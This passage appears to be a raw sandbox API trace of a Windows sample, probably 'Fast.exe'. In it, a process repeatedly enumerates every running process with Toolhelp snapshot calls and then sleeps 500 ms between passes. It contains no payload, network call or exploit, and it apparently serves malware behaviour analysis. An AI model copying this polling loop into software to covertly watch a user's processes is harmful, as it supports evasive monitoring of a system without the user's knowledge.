lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0237.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0237.505] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0237.508] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0237.509] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0237.723] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0237.725] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0237.726] Process32NextW (in: hSnapshot=0x1b4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0237.727] CloseHandle (hObject=0x1b4) returned 1 [0237.727] Sleep (dwMilliseconds=0x1f4) [0238.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0238.448] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.449] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.450] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.450] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.451] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.452] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.453] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.454] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.455] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.456] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.457] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.458] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.459] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.460] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.460] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.461] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.462] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.463] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.464] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.465] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.466] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.467] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0238.468] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.469] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.470] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0238.470] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0238.471] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0238.472] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0238.473] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.474] Process32NextW (in: hSnapshot=0x1e4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0238.475] CloseHandle (hObject=0x1e4) returned 1 [0238.475] Sleep (dwMilliseconds=0x1f4) [0239.203] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0239.206] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.207] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.208] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.209] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.210] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.210] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.211] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.212] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.213] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.214] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.215] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.216] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.216] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.217] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.218] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.220] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.221] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.221] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.222] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.223] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.224] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.225] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0239.226] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.227] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.228] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.229] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.230] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0239.230] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.231] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.232] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0239.233] CloseHandle (hObject=0x1e0) returned 1 [0239.233] Sleep (dwMilliseconds=0x1f4) [0239.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0239.933] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.934] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.935] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.935] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.937] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.938] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.939] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.940] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.941] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.942] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.943] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.944] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, 